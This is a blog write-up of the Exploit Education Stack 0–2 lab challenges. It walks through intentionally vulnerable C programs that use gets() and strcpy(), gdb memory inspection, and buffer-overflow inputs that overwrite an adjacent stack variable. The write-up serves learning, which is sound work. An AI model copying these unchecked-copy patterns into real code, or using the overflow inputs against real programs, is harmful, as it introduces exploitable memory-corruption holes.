Exploit Education Writeup Part 1

Date: 26 October 2022

This is part 1 of a writeup for some Exploit Education challenges I completed. In this part I will go over the Stack 0, 1 and 2 problems.

I thought it would be fun to complete these exercises, by doing them I was exposed to cool stuff like:

Stack 0 challenge


     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     char *gets(char *);

     int main(int argc, char **argv) {
       struct {
	 char buffer[64];
	 volatile int changeme;
       } locals;
       
       locals.changeme = 0;
       gets(locals.buffer);
       
       if (locals.changeme != 0) {
	 puts("Well done, the 'changeme' variable has been changed!");
       } else {
	 puts(
	     "Uh oh, 'changeme' has not yet been changed. Would you like to try "
	     "again?");
       }

       exit(0);
     }
    

The aim of this challenge is to change the value of the changeme variable inside the struct locals.

In order to understand how this is done we must first understand how variables are organised in memory.

Normally structs are organised in the order they are declared, however this is entirely implementation-specific which means it depends on your system, compiler, enviroment etc.

Just to be sure we will disassemble the program and analyse the stack in gdb.

First I set the assembly syntax to intel which makes everything easier to read (in my opinion)

(gdb) set disassembly-flavor intel 

Next I disassembled main() to see where I should set a breakpoint


     (gdb) disassemble main 
     Dump of assembler code for function main:
	0x0000000000401176 <+0>:  endbr64 
	0x000000000040117a <+4>:  push   rbp
	0x000000000040117b <+5>:  mov    rbp,rsp
	0x000000000040117e <+8>:  sub    rsp,0x60
	0x0000000000401182 <+12>: mov    DWORD PTR [rbp-0x54],edi
	0x0000000000401185 <+15>: mov    QWORD PTR [rbp-0x60],rsi
	0x0000000000401189 <+19>: mov    rax,QWORD PTR fs:0x28
	0x0000000000401192 <+28>: mov    QWORD PTR [rbp-0x8],rax
	0x0000000000401196 <+32>: xor    eax,eax
	0x0000000000401198 <+34>: mov    DWORD PTR [rbp-0x10],0x0
	0x000000000040119f <+41>: lea    rax,[rbp-0x50]
	0x00000000004011a3 <+45>: mov    rdi,rax
	0x00000000004011a6 <+48>: call   0x401070 <gets@plt>
	0x00000000004011ab <+53>: mov    eax,DWORD PTR [rbp-0x10]
	0x00000000004011ae <+56>: test   eax,eax
	0x00000000004011b0 <+58>: je     0x4011c3 <main+77>
	0x00000000004011b2 <+60>: lea    rax,[rip+0xe4f]        # 0x402008
	0x00000000004011b9 <+67>: mov    rdi,rax
	0x00000000004011bc <+70>: call   0x401060 <puts@plt>
	0x00000000004011c1 <+75>: jmp    0x4011d2 <main+92>
	0x00000000004011c3 <+77>: lea    rax,[rip+0xe76]        # 0x402040
	0x00000000004011ca <+84>: mov    rdi,rax
	0x00000000004011cd <+87>: call   0x401060 <puts@plt>
	0x00000000004011d2 <+92>: mov    edi,0x0
	0x00000000004011d7 <+97>: call   0x401080 <exit@plt>
     End of assembler dump.
    

I decided to set a breakpoint after the call to gets(), this is because i can give the program some recognisable input such as multiple 'A's and then view where the buffer is positioned in memory.


     (gdb) b *0x00000000004011ab
     Breakpoint 1 at 0x4011ab
    

Now lets run the program and give it 64 'A's (64 because that is the size of buffer inside the struct)


     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

     Breakpoint 1, 0x00000000004011ab in main ()
    

Now we have hit the breakpoint we set earlier, we should inspect memory


     (gdb) x/100x $sp
     0x7fffffffddf0:  0xffffdf68  0x00007fff  0xf7fe285c  0x00000001
     0x7fffffffde00:  0x41414141  0x41414141  0x41414141  0x41414141
     0x7fffffffde10:  0x41414141  0x41414141  0x41414141  0x41414141
     0x7fffffffde20:  0x41414141  0x41414141  0x41414141  0x41414141
     0x7fffffffde30:  0x41414141  0x41414141  0x41414141  0x41414141
     0x7fffffffde40:  0x00000000  0x00000000  0x780e0a00  0xad371c85
    

One the lines showing values starting from addresses 0x7fffffffde00 to 0x7fffffffde30 we can see the hex value for the letter 'A' (41) displayed multiple times. This is our buffer and we can now see the input we gave it.

The next step is to find the changeme variable. If we look back at our code we can see that before the call to gets() the variable changeme was assigned a value of 0.


     locals.changeme = 0;
     gets(locals.buffer);
    

If we now look back at our memory output we can see 0x00000000 at address 0x7fffffffde40 which is after buffer, this may be our variable. Lets try to change the input we give the program to 64 'A's with an additional nonzero value.

Nice, looks like it worked! we have successfully overwritten changeme.


     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2  

     Breakpoint 1, 0x00000000004011ab in main ()
     (gdb) c
     Continuing.
     Well done, the 'changeme' variable has been changed!
     [Inferior 1 (process 33745) exited normally]
    

Stack 1 challenge


     #include <err.h>
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     int main(int argc, char **argv) {
       struct {
	 char buffer[64];
	 volatile int changeme;
       } locals;

       if (argc < 2) {
	 errx(1, "specify an argument, to be copied into the \"buffer\"");
       }

       locals.changeme = 0;
       strcpy(locals.buffer, argv[1]);

       if (locals.changeme == 0x496c5962) {
	 puts("Well done, you have successfully set changeme to the correct value");
       } else {
	 printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
	     locals.changeme);
       }

       exit(0);
     }
    

This challenge requires us to overwrite the changeme variable in the struct locals to the value 0x496c5962. Looking at the code we can see that we can give the program input through command line arguments.

The first argument we provide to the program ( argv[1]) is copied into the buffer named buffer in the struct locals using the strcpy() function.

Let's begin to solve this challenge:

As always I like to set the assembly syntax to Intel since I find it easier to read.


    (gdb) set disassembly-flavor intel 
    

Next we can disassemble main() to pinpoint a good line to set a breakpoint at so we can conduct further tests.

Since strcpy copies our input into the buffer it might be a good idea to break just after it is called and inspect memory.


     (gdb) disassemble main 
     Dump of assembler code for function main:
	0x00000000004011b6 <+0>:	endbr64 
	0x00000000004011ba <+4>:	push   rbp
	0x00000000004011bb <+5>:	mov    rbp,rsp
	0x00000000004011be <+8>:	sub    rsp,0x60
	0x00000000004011c2 <+12>:	mov    DWORD PTR [rbp-0x54],edi
	0x00000000004011c5 <+15>:	mov    QWORD PTR [rbp-0x60],rsi
	0x00000000004011c9 <+19>:	mov    rax,QWORD PTR fs:0x28
	0x00000000004011d2 <+28>:	mov    QWORD PTR [rbp-0x8],rax
	0x00000000004011d6 <+32>:	xor    eax,eax
	0x00000000004011d8 <+34>:	cmp    DWORD PTR [rbp-0x54],0x1
	0x00000000004011dc <+38>:	jg     0x4011f7 <main+65>
	0x00000000004011de <+40>:	lea    rax,[rip+0xe23]        # 0x402008
	0x00000000004011e5 <+47>:	mov    rsi,rax
	0x00000000004011e8 <+50>:	mov    edi,0x1
	0x00000000004011ed <+55>:	mov    eax,0x0
	0x00000000004011f2 <+60>:	call   0x4010a0 <errx@plt>
	0x00000000004011f7 <+65>:	mov    DWORD PTR [rbp-0x10],0x0
	0x00000000004011fe <+72>:	mov    rax,QWORD PTR [rbp-0x60]
	0x0000000000401202 <+76>:	add    rax,0x8
	0x0000000000401206 <+80>:	mov    rdx,QWORD PTR [rax]
	0x0000000000401209 <+83>:	lea    rax,[rbp-0x50]
	0x000000000040120d <+87>:	mov    rsi,rdx
	0x0000000000401210 <+90>:	mov    rdi,rax
	0x0000000000401213 <+93>:	call   0x401080 <strcpy@plt>
	0x0000000000401218 <+98>:	mov    eax,DWORD PTR [rbp-0x10]
	0x000000000040121b <+101>:	cmp    eax,0x496c5962
	0x0000000000401220 <+106>:	jne    0x401233 <main+125>
	0x0000000000401222 <+108>:	lea    rax,[rip+0xe17]        # 0x402040
   

We have set a breakpoint after the call to strcpy()


     (gdb) b *0x0000000000401218
     Breakpoint 1 at 0x401218
    

Now let's run the program and give it 64 'A's (64 because that is the size of buffer).


     (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     Starting program: /home/user/x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

     Breakpoint 1, 0x0000000000401218 in main ()
    

Now we should inspect the stack to see how everything looks. From the output below we can see where our buffer is in memory. Let's now try to overflow the buffer and see what happens.


     (gdb) x/100x $sp
     0x7fffffffdda0:	0xffffdf18	0x00007fff	0xf7fe285c	0x00000002
     0x7fffffffddb0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddc0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddd0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffdde0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddf0:	0x00000000	0x00000000	0x87cd6e00	0x2cba9a0f
     0x7fffffffde00:	0x00000002	0x00000000	0xf7da9d90	0x00007fff
     0x7fffffffde10:	0x00000000	0x00000000	0x004011b6	0x00000000
     0x7fffffffde20:	0xffffdf00	0x00000002	0xffffdf18	0x00007fff
     0x7fffffffde30:	0x00000000	0x00000000	0x3f8882b8	0x00053a6b
     0x7fffffffde40:	0xffffdf18	0x00007fff	0x004011b6	0x00000000
    

Let's give the program 64 'A's and 4 '1's


     (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111
     Starting program: /home/user/x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

     Breakpoint 1, 0x0000000000401218 in main ()
    

Let's see how our memory looks like:


     (gdb) x/100x $sp
     0x7fffffffdda0:	0xffffdf18	0x00007fff	0xf7fe285c	0x00000002
     0x7fffffffddb0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddc0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddd0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffdde0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddf0:	0x31313131	0x00000000	0x6f85bd00	0x97d1f777
     0x7fffffffde00:	0x00000002	0x00000000	0xf7da9d90	0x00007fff
    

We can see that below the buffer, starting at address 0x7fffffffddf0 we have the values 0x31313131 which are hex values for '1'. Also the program gave us this output:


     (gdb) c
     Continuing.
     Getting closer! changeme is currently 0x31313131, we want 0x496c5962
     [Inferior 1 (process 35063) exited normally]
    

It looks like we have located where the changeme variable is located in memory. Now we just need to replace the '1111' with 0x496c5962.

However we cannot simply give the program 64 'A's + 0x496c5962. This would not work due to one small thing: endianness.

Endianness refers to the order of bytes in a system's memory. There are two main types of endianness and they are big endian and little endian. You can check what byte order your system uses using the lscpu command on Linux.


     user@user:~$ lscpu
     Architecture:            x86_64
       CPU op-mode(s):        32-bit, 64-bit
       Address sizes:         48 bits physical, 48 bits virtual
       Byte Order:            Little Endian
    

Now that we have figured out the byte order of our system, we can begin to solve this problem by giving the program 64 'A's + 0x496c5962 in little endian order.

Using printf I printed 64 'A's and the little endian representation of 0x496c5962 and gave the value to the program.

Nice, our work here is done.


     user@user:~$ printf 'A%.0s' {1..64}; printf '\x62\x59\x6c\x49'
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlIqasim@ubuntu:~$ 
     user@user:~$ ./x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
     Well done, you have successfully set changeme to the correct value
    

Stack 2 challenge


     #include <err.h>
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     int main(int argc, char **argv) {
       struct {
	 char buffer[64];
	 volatile int changeme;
       } locals;

       char *ptr;

       ptr = getenv("ExploitEducation");
       if (ptr == NULL) {
	 errx(1, "please set the ExploitEducation environment variable");
       }

       locals.changeme = 0;
       strcpy(locals.buffer, ptr);

       if (locals.changeme == 0x0d0a090a) {
	 puts("Well done, you have successfully set changeme to the correct value");
       } else {
	 printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
	     locals.changeme);
       }

       exit(0);
     }
    

This challenge is similar to the previous challenges. In this one we have to change the value of changeme.

The first step is to examine the code. We can see that the program uses getenv and saves the return value in a character pointer called ptr to then later check if getenv failed. Let's run the program and see what we get.


     user@user:~$ ./x 
     x: please set the ExploitEducation environment variable
    

As expected we got an error because there is no 'ExploitEducation' environment variable, so let's add one with the Linux export command and assign it a random value.


     user@user:~$ export ExploitEducation="AAAAAAAAAA" 
    

Running the program again gives us this:


     user@user:~$ ./x 
     Almost! changeme is currently 0x00000000, we want 0x0d0a090a
    

Looking at the code again we can see that strcpy is used to copy the value of ptr (our environment variable) into the buffer named buffer. If we set the value of ExploitEducation to something greater than the size of buffer we could potentially overflow it and change the value of changeme. Let's try that out:


     user@user:~$ export ExploitEducation=$(printf 'A%.0s' {1..64}; printf '\x0a\x09\x0a\x0d')
     user@user:~$ ./x 
     Well done, you have successfully set changeme to the correct value
    

Nice, we have done it!

Conclusion

These challenges have provided valuable insights into buffer overflow exploits and the importance of understanding memory management and software vulnerabilities. By completing Stack 0, 1, and 2, I have gained hands-on experience in binary exploitation, debugging, and leveraging common software bugs to manipulate program behavior.

In Part 2 of this writeup, I will tackle Stack 3, 4, and 5 challenges, further deepening my knowledge in binary exploitation and software security.